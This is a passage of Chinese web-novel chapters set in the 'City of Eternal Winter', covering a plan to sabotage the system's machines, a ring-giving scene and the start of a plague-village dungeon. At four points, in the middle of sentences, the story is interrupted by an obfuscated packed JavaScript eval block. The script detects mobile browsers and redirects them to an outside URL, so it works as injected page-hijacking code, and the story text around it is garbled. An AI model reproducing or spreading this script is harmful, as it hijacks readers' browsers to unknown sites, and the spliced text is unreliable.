景明垂和随歌很快出现在阁楼,各自落座。五人到齐,江意敲了下键盘,清空所有杂乱的图标,调出一个全屏3D模拟画面。 画面中浮现出一栋发光的高楼,是系统总部。楼顶的位置延伸出四道光缆,连接着城市另外四个方向的建筑。 “这件是永冬之城的系统结构。” 江意敲下回车键,五栋建筑的顶楼内部各自出现一台机器。两米高的金属长方体,表面有各种指示灯,后方连接着红、蓝、黄三条粗电缆。 “系统总部的这台是总机。”他指向最中央的高楼,“另外四台是分机,分别在处理区、办事区、处罚区、城市功能维修区。” “我们五人到时候需要分开行动。我去总部,初与序去办事区分机,随歌维修区,景明垂处罚区,而冬逢初去处理区。” 电脑上的画面再次变化,将五台机器并排放在一起。 “总机与分机实时连接。如果只破坏分机,总机可以在12小时内修复完成。只破坏总机,分机会启动‘总机再生’。所以必须同时销毁这五台机器。” 江意伸手,点了点其中一台机器后方那三点电缆。 “每台机器都有三根线,红、蓝、黄。” “我们称为A,B,C。A是电源线,切断后机器断电,B是数据线,切断后数据传输中断。C是备份线,切断后自我修复程序失效。” “那只要记住循序,切断对应颜色的电线就好了吗?”景明垂问道。 “没那么简单。”江意摇了摇头,“每当我们剪断任意一台机器的任意一根电线,所有五台机器的功能会在ABC这三条电线之间随机重组。电线颜色不变,但实际功能会变,并且我们不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193188|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。” 他调出动态演示,上面显示当一台机器的红线被剪断时,五台机器的指示灯开始闪烁重组,三条电缆的颜色没变,但内部代表功能的符号已经全部打乱重新排列了。 “这咋搞?”随歌睁大眼,“我们总不能把机器拆掉看内部功能符号吧?那下一秒就被电死了。” “当然不是。”江意叹了口气,他将画面调整,显现出五个光点,代表他们五人。光电依次亮起,顺序是初与序→冬逢初→景明垂→随歌→江意。 他看着屏幕道:“顺序操作。从初与序开始,去办事区分机。根据初始配置剪断你那台机器上的主电源电线。操作完成后,你那台机器的指示灯组合会发现变化,你需要按照变化推算出五台机器新的功能分配方案,然后告诉冬逢初该剪断他那台机器上的哪一根线。” “分机只需要剪断一根电线,但总机不同。” 他放大总机内部结构:“总机需要按照C→B→A的顺序全部剪断三根线,顺序错了,系统就会锁死。” “如此传递,每个人操作后都要推算,告知下一个人。当我收到随歌传来的通知时,我就知道总机当前三根线,哪根是A,哪根是B,哪根是C。那时我有三十秒时间按照顺序,将总机三根线全部剪断。” 随歌猛地往后一靠,抓了抓头发:“不是……等等,意哥,你等等。” 他抬手指向屏幕:“这玩意儿我搞不定啊!电线?机器?还实时推算?你杀了我吧!我当年物理就考四十分!我怎么可能推算得出来?你这……你这剪错了咱们都得完蛋!” 他从沙发上弹起来:“意哥,咱换个人行不行?换齐无尽!或者白闽!陈秋天!他们哪个不比我靠谱?” 江意平静地看着他,淡淡开口:“你可以。” 意思是,你行也得行,不行也得行,没有别的选择。 随歌仰天长叹,几人重新回到话题,初与序问:“剪断就行?” “不。”江意点开电缆结构图,“线缆可以自动接合,剪断后要用打火机烧熔线头的铜芯。铜的熔点很高,打火机的火焰不能熔化它,但持续灼烧可以破坏导电性,确保它无法接合。” “如果实在不行,机器外壳也可以砸,只要让这三条线永久断开,但不建议这么做,漏电了会死人。” 他看向四人,道:“难点是每次操作后分配随机变化。你们每个人都要在极短时间内推算出全局。” 虽然说是难点,但五个人倒不用担心。手速和反应力他们都不缺,当队友的这半年也配合默契。 景明垂指向办事区的分机:“但我们怎么知道初始分配?” 江意道:“齐无尽会帮我们查到一开始五台机器的初始功能分配表。但只有一次查看时间,二十秒。初与序需要在二十秒内记住五台机器的初始配置。” “可以带手机进去拍照吗?”初与序举手提问。 “不行。”江意面无表情道,“当玩家进入系统所有大厦时,电子设备会被屏蔽,你的手机拍照功能也会暂时停用。我们用来通讯的耳机都是D19花了很长时间改造的。” 初与序:“……” 她和随歌对视一眼,一个为自己的推算能力担心,一个为自己的记忆能力发愁。 263.半年前的死者 “在破坏系统之前,我们需要不断练习。”江意说着,将破坏系统模拟程序传输给四人的面板上,初与序打开面板,画面中出现了办事区的机器模型,上面标着红、蓝、黄三根电线,下方各有三盏三色指示灯。 “绿灯亮表示电源正常,红灯亮表示数据传输中,黄灯闪烁表示备份激活。剪断C线,黄灯会熄灭;剪断B线,红灯熄灭;剪断A线,绿灯熄灭。根据熄灭的顺序,能反推出剪之前三根线的功能分配。” “开始第一轮模拟。” 初与序看向面板,初始布局显示在左上角。办事区机器,红线是A,电源线。蓝线是B,数据线。黄线是C,备份线。 分机只需要剪电源线,初与序在面板上点击红线。 红线断开,面板上的绿灯熄灭,红灯和黄灯仍保持状态。 她默默推算,道:“冬逢初,你的机器现在是红-C,蓝-A,黄B。剪蓝线。” 冬逢初点击自己的蓝线,绿灯熄灭,红灯和黄灯保持。几秒后他道:“景明垂,红-B,蓝-C,黄-A,剪黄线。” 随歌在一边看着,逐渐放松:“还好还好,这也没多难,就是绕了点。” 景明垂剪断红线,看着指示灯道:“随歌,剪黄线。” 随歌点击黄线,他的面板上黄灯闪烁两下,然后完全熄灭。但绿灯和红灯也跟着暗了几秒,又恢复亮度。 “我操!”随歌跳起来,“这灯怎么闪两下就不闪了,还停了?!我也没点错啊?绿灯红灯刚才是不是也暗了?” 江意扫了一眼数据流:“模拟加入了干扰。黄灯最终熄灭说明你剪的是C功能,干扰是随机的。绿灯红灯短暂波动是剪线的电路扰动。不用管,你推算下一步。” 随歌盯着面板,额头冒汗:“呃,根据规则,黄灯灭,红灯绿灯亮……意思是以前剪的黄是C,红和蓝是A或B……不对,还要看分配规则。” 他手忙脚乱地翻开笔记。 江意扶额叹气,提示道:“你的机器状态是绿灯亮、红灯亮、黄灯灭。初始黄是C,剪断后黄灯灭,确认。那么红和蓝在剪之前只能是A和B。结合全局洗牌规则,你能退出我的总机现在红是B,黄是C。所以我需要先剪黄线,再剪红线,最后剪蓝线。” 随歌恍然大悟:“哦对对对!是这个逻辑!” 江意点头:“我们继续。” 又进行了三轮模拟,几个人逐渐熟练起来,到后面扫两眼就能报出线路排列,基本不会出错。 初与序关掉面板,揉了揉眉心,忽然想起来什么,看向江意:“意哥,分机所在的大厦我们进去容易,但总部你打算怎么进去?” 江意站起身:“还没想好,现在正要去问D19。” 初与序道:“带我一起吧。” 江意没拒绝,两个人离开阁楼,朝着处理区的方向走去。永冬之城街道的雪一脚下去到脚踝,空气冷冽刺骨。 初与序边走,边用只有她和江意能听见的声音说:“进入总部,可以拿执行官的身份牌,但门口的执行官会人脸扫描,身份牌上的面容和你不同,还是进不去。” 江意点了点头。 “那其他潜入路径呢?”初与序问,“通风管道?外部攀爬?” “大厦外层密不透风,内部通风系统独立循环,连只苍蝇都进不去,只能从正门走。”江意顿了顿,“而且入口会将进入的人标记,没有经过标记的人类进入,大厦安全系统扫描到,会直接触发警报。” 所以他们无法再耍小聪明进入总部,想进去,必须要找到合法的理由。 正走到A栋楼下,头顶忽然传来一阵风声——一道修长的人影从上方跃下,屈膝落地,稳稳停在两人面前。那人直起身,抬手摘下遮住大半张脸的帽子,露出一头红发。 永冬之城是红头发的玩家还能有谁? 齐无尽转过头看到两人,也愣了一下,随口打招呼:“好久不见。” “好久不见。”江意道:“你在这里做什么?” “处理点事。”齐无尽答道,拍了拍肩上的雪粒。 初与序抬头看了看A栋,底层的窗户紧闭,也不知道他是从哪个位置跳下来,还没摔断腿的。 齐无尽看着两人,用口型问:“找D19问系统的事?” 江意点了点头。 “一起吧。”齐无尽挑眉,戴上帽子率先转身,“正好我也有点事找他。” 三个高权限玩家轻而易举进入处理区,来到D19办公室门口。 敲开门时,D19正仰面靠在办公椅上,眼底一片浓重的青黑,像是几天没合眼。见到三个人,他慢半拍地“哦”了一声,疲倦道:“进来吧,自己坐。” 齐无尽坐到沙发上:“你怎么了?” “我调时差。”D19晃晃悠悠起身去洗手池,捧起冷水泼在脸上,人才看起来清醒些。他在三人对面坐下,按开系统监听屏蔽器。 “好了。”他抹了把脸上水珠,“找我干什么?先说好太麻烦的事今天别找我,脑子转不动。” 初与序和江意对视一眼,将需要潜入总部破坏系统的事情讲了一遍。 D19刚开始还半眯着眼听,听到“潜入总部”时,眼睛睁开一条缝。等初与序说完,他保持那个姿势愣了五六秒。 “啊?”他像是没听懂,“破坏系统?潜入总部?” 初与序、江意、齐无尽三个人,六只眼睛,直勾勾盯着他。 D19眨了眨眼,又眨了眨,困倦被震惊驱散了大半。他长长吐出一口气,抬手按住额角。 “你们……”他苦笑,“这种不要命的事确实是你们会干的。” 他沉默了几秒,叹了口气:“说实话,没有别的办法,只能合法进入。” “但合法,不一定需要权限卡和执行官身份。” 他停顿了一秒,眼神复杂地看向三人:“这个方法按理来说我不该告诉你们,你们也不该去做。但是……” 他深吸一口气:“永冬之城有医院,你们都知道。现在医术已经很强,只有玩家能活着从副本里爬回来,基本都能救活。但还有一种情况,如果玩家受的伤连医院都治不好,系统也不会轻易放弃玩家的生命。” “那时候玩家会被转入系统总部,将永冬之城的能量强行灌入玩家体内,把命吊住。能送进去的都是半身踏入阎王庙的人,基本都深度昏迷,动弹不得。系统和执行官自然不会担心这种人还能趁机做点什么。” 他抬头:“所以唯一能进去的方法,就是故意把自己弄到那种程度,然后……你们懂的。” “不行。”初与序第一个开口。 “想都别想。”齐无尽接话,阴恻恻看江意和初与序,“尤其是你们两个,不能做这些伤害身体的事情。” 江意揉了揉眉心,叹气道:“算了,先把这个方法放一放,再想想其他的。” 每一代永冬之城的安全系统不同,系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193189|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总机和分机结构也不同。系统会进化,漏洞会被补上,就算江意记得以前的方法,这次也用不上。 齐无尽看向D19,开口:“你是不是忘了什么?” D19和他大眼瞪小眼,隔了几秒才“哦”了一声:“对,还欠你一个指定进入副本的机会。你打算什么时候用?” 齐无尽垂下眼想了想:“过段时间吧,不急。” 他说这话时,初与序看见江意眼神复杂地看了他一眼,眼底似乎带着隐隐约约的悲凉。 三人告辞离开。 路过车站时,几个玩家凑在一起,压低声音聊天: “……又死一个,这半个月第几个了?” “高层玩家也顶不住啊……” 齐无尽脚步顿了顿,随口对两人道:“最近死的玩家不少,都集中在高层。你们队伍进副本时小心点。” “嗯。”初与序礼貌应道,“你也是。” 两人有一搭没一搭聊了会,期间江意一直沉默着,直到走到一棵大树下,他忽然停住脚步:“初与序。” 初与序和齐无尽回头看他。 江意站在树下,问道:“你还记得你们刚来永冬之城时,1803那个跳楼死亡的姑娘吗?” 初与序想了想,点了点头。 那是半年前的事儿了,她和景明垂他们刚来永冬之城,D19带着几个新人来D栋。刚到门口不久,一个身影就从上方坠落,砸在他们几步之外,血还溅了初与序一身。 随歌当时说D栋有诅咒,每隔十八年1803的住户都会以自杀的方式死亡,无一例外。 江意缓缓道:“如果每一次循环的最后,「初与序」不是消失了,而是死了呢?” 初与序和齐无尽对视一眼,她扬起眉:“所以你的意思是,每隔十八年,在1803跳楼的那个……是我?” 齐无尽听到有关死亡的话题,似乎有些烦躁,转向初与序:“你好端端的自杀干什么?生命是很宝贵的东西。” 初与序莫名其妙地看向他:“你怎么知道我自杀的时候是好端端的?如果我自杀是为了完成某个计划的一部分呢?” 齐无尽张了张嘴:“……我不是那个意思。” 三人就近找了家没人的店坐下,安静的氛围下,初与序率先开口:“但当时的死者被认定为新人玩家。如果每次循环开始死的都是上一个循环的我,那她就不该是新人身份。” 江意单手撑着脸:“没有任何证据能证明她是新人,如果在大部分玩家都失去上一轮记忆的前提下,没有人记得她,档案里也查不到她,自然就会认为她是刚来永冬之城的。” 齐无尽靠在椅背上,道:“所以当一个新的循环开始,上个人循环里的「初与序」就会自杀,为新的你腾出位置。” “但是每隔十八年循环一次,为什么她不在自己那轮循环结束时死亡,要等到新循环开始时呢?而且为什么一定是自杀?” “也许是在十八年间隔里,「初与序」需要帮妄主做一些事,必须活着。”初与序道,“至于为什么是自杀,我唯一想到的理由是,没有人敢杀她。” 猜到这里,之前那串经常出现的数字“997255518”的含义也就能明白过来——永冬之城是一场循环,不算现在正在进行的轮回,至今为止一共9972年。若算上现在正在经历的轮回,共有555次,一次近一年,每隔18年开启下一次循环。这也是妄主提供给他们的信息。 264.戒指 从店内出来时天色已经暗下来,街边的路灯亮起,行人少了些。远远望去,D栋大楼的窗户几乎全部亮着灯。 江意在店门口临时要去找白闽,朝着另一个方向走了。初与序和齐无尽走到分别的路口,她简单道了声“再见”,便转身。 齐无尽忽然在身后叫住她:“初与序。” 她回头,齐无尽站在路灯下,红发被风吹得有些乱。他看着自己,脸上没特别的表情。 “别自杀。”他说。 顿了顿,又道:“至少这次循环里,你别自杀。” 初与序一愣,随机淡淡地笑了起来:“好。” 然后她转身,朝着D栋的方向走。身后安静了几秒,也传来脚步声,越来越远。 D栋楼下,冬逢初在不远处的秋千上等她。初与序走过去,在他旁边的空秋千上坐下,冬逢初递过来一杯热奶茶:“冷么?” “今天温度还好。”初与序接过来,插好吸管,又很自然地先递到他面前。冬逢初喝了一口,还给她。 初与序捧着奶茶,将刚才去找D019得到的信息,以及和江意等人讨论当年1803死者身份的推测简单讲了一遍,冬逢初安静地听着。 等她说完,冬逢初道:“我觉得这一次循环的你,一定会好好的。” 初与序偏头看他:“为什么?” “这一次和以前都不一样,你没有记忆,做出的选择,走的路,肯定也和以前不同,结果自然也会改变。”冬逢初认认真真道,“其次妄主那边一定也发现了情况不同,我们已经有很长一段时间没看到那些和向枝冥等人长相一致的‘复制体’了。” 确实,以前那些和向枝冥、u谷等人容貌相同的复制体偶尔会出现在永冬之城,还给初与序等人添麻烦。直到现在才搞清楚那个和初与序长相一样的“复制体”是初一。但近来他们确实销声匿迹了,冬逢初不说,初与序都差点忘记。 “说明他们存在的地方事情太多,忙得没空下来。”冬逢初顿了顿,“当然不排除他们只是懒得下来。” 初与序咬着吸管想了想,忽然微微睁大眼睛:“冬逢初,你说,那些‘复制体’会不会就是管理员?” 冬逢初没想到这个角度:“啊?为什么这么说?” 初与序道:“永冬之城的权利从小到大,是玩家,执行官,管理员,妄主。执行官管理玩家,妄主管理一切,包括管理员。按理说没有其他职位了。” 冬逢初道:“可管理员怎么会和玩家长得一样?他们会易容术吗?因为不想让我们看到真容,所以易容成玩家的样子下来?” “不是。”初与序摇了摇头,“上次来永冬之城公开审判屠宰场的那个管理员,她戴着帽子。如果他们真会易容,随便变成谁的样子都行,没必要戴帽子遮住脸。” 话是这么说,但如果管理员真的和玩家长相相同,这是一件很诡异的事情。 两人想得脑壳疼,决定不去深究这个话题。 初与序点开面板,想看看有没有新消息,还真在副本通知一栏看到了新消息。 【副本分配通知】 「副本名称:《清河疫梦》」 「参与时间:明日9:30」 「参与人数:4人」 后面跟了一串人名,分别是初与序、u谷、向枝冥和……安楚? 看到最后两个名字,初与序和冬逢初齐刷刷愣了一下。 向枝冥和安楚被分到同一个副本了? 这两人见面就吵,u谷又是个暴躁起来不分敌我一起骂的主。初与序几乎能预见到明天副本里会是多么“和祥”,她的耳朵享福了。 冬逢初忍着笑问:“要不要带副耳塞进去?” 初与序叹了口气:“得了吧,带耳塞也没有。” 正当她仰头望天,感叹命运的安排时,听见身边冬逢初叫了她一眼:“阿序。” 她一转头,一捧沾着细小雪粒的勿忘我花朵举到了她面前。 冬逢初不知何时已经从秋千上站起来,眉眼弯弯地从花束后面探出头。他举着花的手冻得通红,应该是一直没舍得放在地上或石台上,小心翼翼拿着藏在身后,就等着这时,手漏在冷空气里冻着。 初与序愣了好久,才找回声音:“……给我的?” 冬逢初点头:“当然。” 初与序伸出手接花,刚碰到花瓣,右手忽然被冬逢初轻轻拉去。 她心下一惊讶,抬眸看去—— 冬逢初拉着她的手指,手抖得很厉害,另一只手捏着一枚银色的戒指,套在她右手中指上。路灯灯光落在戒指上,素雅的银圈,正面雕刻着几朵淡蓝色的勿忘我花瓣,花瓣之间嵌了几颗小钻石。 初与序垂眸盯着那圈戒指看了几秒,眼眶忽然莫名一热,泪水就那么滚了下来。她带着鼻音,又轻声笑道:“冬逢初,你手别抖啦,我的手都被你带着一起抖。” 冬逢初手抖得更狠了,他慌乱又带点强硬地把花塞进初与序怀里:“你愿不愿意戴嘛?你愿不愿意?” 初与序连连点头:“愿意愿意,愿意的。” 她微微握着拳头,大拇指轻轻抚摸那枚戒指,感受戒指表面的凹凸不平。她看向冬逢初的右手:“你的呢?” 冬逢初从口袋里摸出另一枚一模一样的戒指,同样刻着勿忘我。他正要往自己手指上套,戒指被初与序接过来。她拖起他的手,也稳稳地将戒指套在了他右手中指上。 “哪里弄来的?”初与序问。 冬逢初结结巴巴地解释道:“之、之前拜托安楚,借了他店里的一些器材做的。工具不全,做得不精细,希、希望你喜欢。谢谢阿序出现在我的世界里,我……一直很想把戒指给你戴上。” 初与序踮起脚,伸手环住他的脖子,用力抱住他:“谢谢……” 冬逢初愣了几秒,也连忙回抱过去,将手臂收得很紧。 戒指的意义太重大了,只要戴上,就像和自己融合在一起一样,那份爱也会融合在一起,一辈子不离开。 初与序把脸埋在他肩头,眼泪浸湿了一小片衣物。 妈妈,我不会再去想你看到我结婚时会是什么样子了,我也不会再思考你到底还要不要我了。 我已经遇到了很爱很爱我的人,我会和他永远在一起。 凌晨两点时,永冬之城淅淅沥沥下起了小雨。在这里下雪是常态,下雨却少见。 A区的店铺早就熄灯,店主们大多陷入梦乡,只有街角小巷深处,一块黑招牌下的店铺还亮着光。 比起D栋的住所,安楚更习惯缩在自己A区的店铺里。他从椅子上坐起身,手下意识摸向胸口。 动作一顿, 脖子空了。 他低头看去,原本该挂在那里的护身牌不见了。 安楚噌地站起来,脸色一变,迅速在店铺里翻找。片刻后他站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193190|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地,猛然想起可能是丢在上一个副本里面了。 他心下一慌,就在这时,耳边传来店铺门口悬挂的风铃声,叮铃铃的,声音很小。 这个时间怎么还会有人来,安楚起初以为自己幻听了,便站在原地没动,头也没回一下。 过了几秒,门口传来不耐烦的声音:“耳朵聋了?” 安楚猛地回头,只见向枝冥站在门口,鼻梁上贴了张创口贴,头发被雨打湿。他手里捏着一块桐木质地的护身牌,正冷冷地看着他。 “……”安楚道,“你怎么来了?” 向枝冥伸手将护身牌扔了过来:“巷口茶馆老板在副本里捡到的,以为是我的,给我了。” 安楚连忙伸手稳稳接住,他低头看了看,护身牌正面是“玄机观”三个字,背面刻着“平安”。这是观中弟子成年时都会得到的护身牌,向枝冥也有一块一模一样的,茶馆老板认错很正常。 “谢谢。”他将绳子重新套回脖子上,抬头看去。 一面对向枝冥,安楚就不知道该怎么办了。 向枝冥有些烦躁地问:“见到u谷没?” “没有。” 向枝冥“啧”了一声,低声嘀咕了一句:“那孙子又跑哪去了”。 安楚以为他问完就该走了,等了一会,见他还杵在那儿,试探着问:“还有事吗?” 向枝冥扯了扯嘴角:“知道我们上午副本在一起吗?” “知道。”安楚皱了皱眉。 “看到副本名字了吧。”向枝冥盯着他,道,“清河。” 安楚避开他的目光:“看到了,如果真的能去清河村,说不定能弄清楚当年村里瘟疫的真相。” “真相?”向枝冥重复着这两个字,向前一步,“还能有什么真相?死了的人已经死了,活着的人继续活着。我可不想去那什么清河村,也不想和你在一个副本里呆三天。” 安楚抬起眼,平静道:“你没死在观里,也没经历过全村上下几百人被一场火烧死。我理解你讨厌我,也理解你讨厌一切和我有关的事。我自然也恨死你了,你以为我愿意和你进一个副本吗?” 他顿了顿,一字一句地问:“但我想问,为什么?我为我父母,为我村里其他人保持,你为什么这么恨我?” “你好意思问我为什么?”向枝冥厉声道,“你杀了师父,杀了我们的家人,杀了那么多人!我不恨你,难道还要跪下给你磕头,感谢你的不杀之恩吗?” 安楚笑了一下。 “好啊。”他说,“那你这么多年可曾想过,当初是谁天天粘着我,是谁的名字都是我取的?为什么吵架时我很吵说重话?因为我觉得你年纪小,不愿和你争。你把有些事想得太简单了,向枝冥。这个世界不是只有一面,满足了这个人,那个人就会受委屈,从来没有两全其美的事情。” “我等了那么多年,好不容易为我父母和村里所有人报了仇,我现在只想安安稳稳地活着。你若实在想念师父他们,那就下去陪他们!” 他冷笑一声:“你不下去。你说你不愿见到我,那你为什么不去改名呢?我不信你每次写自己名字的时候,没有想起我!” 向枝冥脸色变得惨白,他丢下一句:“安楚,我做鬼也不会放过你。”猛地转身,一把推开店门冲进外面的雨夜。 门被甩上,风铃被撞得狂响。 直到铃声平息,安楚才长长叹了口气,回了后屋。 265.清河疫梦 第二日九点时,四个人卡点到达车站。 如初与序所料,向枝冥和安楚站在月台两端,中间足够塞下两家蜜雪冰城。u谷骂骂咧咧出现,穿搭……很有品味。上身裹着件羽绒服,下身是条皱巴巴的睡裤,一头卷发乱七八糟,满脸写着被世界得罪了的不爽。 初与序自己也没调好时差,虽然全身上下干干净净,但整个人蔫蔫的,没什么精神。 四个人远远望着,也就安楚看起来稍微像样点。不过他是一夜没睡,也好不到哪里去。 J23打开车门,看着上车的四人,最终给初与序投去一个“你多保重”的眼神。 列车启动,系统照常开始播报: 【尊敬的各位玩家您好,您搭乘的D019次列车正在行驶。本次列车起点站:永冬之城;终点站:《清河疫梦》。接下来,我会为各位介绍背景设定:】 【十八年前,清河村。】 【这个依山傍水的百年村落,在一夜之间开始落入死亡的阴影。】 【最初只是零星几户人家出现高热咳血的症状,村中医者按寻常伤寒医治,却毫无起色。三日内,病患皮肤开始浮现诡异的暗红色纹路,迷糊间不断呓语“水塘沉冤……”。未及七日,最初染病者便在极其痛苦中咽气,死时双目圆瞪,七窍流血。】 【然而,就在瘟疫即将失控之际,一切戛然而止。整个清河村连人带屋,在一场突如其来的“天火”中化为焦土。官方记载为“意外火灾”,所有线索与尸体一同焚毁,真相随之掩埋在灰烬与时间之下。】 【你们将回到瘟疫爆发的三天前。】 【主线任务:查明瘟疫的真相,救下全村三百号人。】 【祝各位存活愉快。】 初与序低着头理清时间线,系统说的“十八年前”,是算上了向枝冥、安楚和u谷三个人在永冬之城度过的三年。而在她这里,进入永冬之城不到一年,现实世界是十五年前。 她确实有模糊印象,十五年前她还小,听到父母谈话间提起安徽本地一则新闻,说某个村子突发大火,无人幸存。当时懵懂地听着,没记住具体名字,现在想来大概就是清河村。 她抬头看向对面,发现向枝冥和安楚的脸色在听完播报后变得非常难看。 u谷也注意到了,嫌弃地看着两人:“What''s wrong with you two?(你俩怎么了?)我和初与序欠你们钱了吗?” 向枝冥不耐烦地挥挥手:“去去去,少管闲事。” u谷用英文骂了他一句。 很快到了副本地点,列车停下,四人走下车进入雾气中。待雾气彻底散去,眼前的清河村露了出来。 青石路湿漉漉的,延伸向前。远处是连绵的山,好像叫什么青鸾山。土墙茅屋檐角低垂,巷子空荡荡的,不见人影。空气中有股不太好闻的潮湿气。 初与序停下脚步回头刚想说什么,就看见u谷正从口袋里慢条斯理地掏出一只口罩,戴在脸上。 三人:“……” 向枝冥皱起眉:“你干嘛?” u谷理所当然道:“你说呢?有plague(瘟疫)在这儿诶,不戴等着被传染吗?” 见三个人仍然望着自己,u谷往后退了几步,紧张道:“Hey!What are you looking at?(看什么看!)我就带了一个,你们要戴自己找去,别抢我的!“ 初与序扶额叹了口气,默默回头往前走。 路上几乎看不见行人,家家户户门窗紧闭。没走多远,就看见路旁一户人家,门口乱七八糟撒着许多圆形方孔的白色纸钱,屋里传来断断续续的哭声,听得人心里发沉。 “这是咋回事?”向枝冥侧头看来。 正巧有个男人缩头缩脑贴着墙根快步走,向枝冥步子快,两三步上前,拦在那人面前。男人吓了一跳,猛地抬头,看清是几个生面孔,下意识就想绕开。 初与序走过来,礼貌道:“您好,我们路过清河村,请问这家里人出什么事情了?” 男人飞快地瞟了一眼洒满纸钱的门户,快速道:“还能怎么回事?当家的前几天下地回来突然发热,咳血,没撑两天人就没了。瘟病啊,要命的!” 他上下打量了四人一番:“外乡人?听我一句劝,快走吧,这村子不干净。” “Unclean?(不干净?)”u谷扬起眉重复了一遍。 男人虽然听不懂英文,但大概能猜到意思,点了点头:“这几天好多人都这样,发热咳血,看着就跟染了瘟病一样。” 他顿了顿,转向村子东头方向:“还有邪门的事,夜里头有人听见念咒的声儿,呜呜咽咽的,还有人说看见黑雾,淡飘飘的,就是从安家那边飘过来的。” 他这话一出,初与序、向枝冥和u谷三个人不由自主地看向安楚。 向枝冥有些烦躁地移开目光,开口道:“安家?他们家咋了?” 男人硬着头皮继续道:“安家,安家那对夫妻最近是有点神神叨叨的,不怎么出门,有人撞见过他们半夜在院子里烧纸,嘴里念念有词。村、村里人都私下说,是他们在捣鬼,招来了灾祸……” 他话没说完,趁着四人没反应过来,拔腿就跑,眨眼就没影了。 u谷“啧”了一声,用撇脚的中文抱怨:“跑这么快干嘛?我们又不会吃了他。” 他看向安楚:“喂,别告诉我你就是那个安家的人?不过我记得你是在道馆长大的?” 向枝冥没吭声,抱着胳膊盯着安楚。 安楚垂下眼,半晌才轻轻叹了口气:“找个地方吧,我把我知道的说清楚。” 副本通关常识,但凡遇到村庄场景的副本,村里的祠堂一般都有重要线索,是关键地点。四个人都知道这一点,对视一眼,直接沿着村中小路往祠堂的方向走。 安楚在前方带路,左右观察着自己的家乡。 路两旁的土墙,木门歪斜,门口的石墩,一切都熟悉又陌生。这是他记忆中的清河村,却又不是。记忆中的村庄有炊烟,有鸡犬狗吠,有父母站在村口等他回来的身影。而现在,只有紧闭的门窗,村民们在窗户后一晃而过,又快速拉上窗帘。 可能是因为他当时还是少年,如今已经是二十多岁的样貌,一路走来没人认出他。 很快到达祠堂,灰瓦木梁,门楣上写着“清河永昌”,颜色已经褪成了灰白色,在风中微微晃动。 推门进去,灰尘簌簌落下,里面昏暗,供桌上的香炉早就冷了。四个人随手扯过几个积灰的蒲团,在空地上围坐下来。 安楚抱着膝盖,深吸一口气,开口道:“我小时候确实是清河村安家的人,也知道村里慢慢有人患上了瘟疫。那时候我在镇上的学校寄宿,一个月才回来一次。” “我爸妈给我打过几次电话,说村里不太平,让我别担心家里,也进来别回来,病气重,让我好好念书。” “等我放假,回来的时候……”他低声道,“村子已经没了,什么都没剩下,只有一片烧黑了的废墟。” “我连我爸妈的尸骨……都没找到。” 祠堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205033|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内一时安静下来,没人说话。 “后来。”安楚涩声道,“我总得活下去,就上了青鸾山,玄机关收留了我,师父玄微子给了我一个落脚的地方,我和观中的孩子一起上学。所以我算是在玄机关长大的。” 初与序听完安静了一会,忽然开口:“那场大火呢?真是意外?能把全村三百多口人都烧死?” 安楚垂着眼,一时没说话。 “别管什么火不火了。”向枝冥抢先一步道,“找到瘟疫怎么来的,后面那些乱七八糟的自然地没了。”他站起来拍了拍衣服上的灰尘,“先干正事。” 几人不再纠结,初与序点点头道:“找找看有没有关于瘟疫的记载。” 四个人散开,在堆满灰尘的祠堂里翻找起来。 “操!” 向枝冥忽然骂了一句,整儿往后弹开。三个人连忙看过来,只见好几只硕大的蟑螂和几只灰毛老鼠被惊动,窜出来四处乱爬。 “妈的,吓老子一跳!”向枝冥骂骂咧咧后退,最怕虫子的初与序脸上也唰地白了。 安楚抬起手,五指快速在身前结了一个印。一道无形的涟漪以他为中心荡开,掠过整个祠堂,又消散开来。 “好了。”他收回手,“现在除了我们,别的活物进不来了,人也一样。” “多谢。”初与序松了口气。 几个人定了定神,继续翻找。不多时,初与序从一堆发霉的账本下面抽出一本手抄册子,封面都快烂掉,封面上的墨迹模糊,勉强认出是《清河异闻录》。 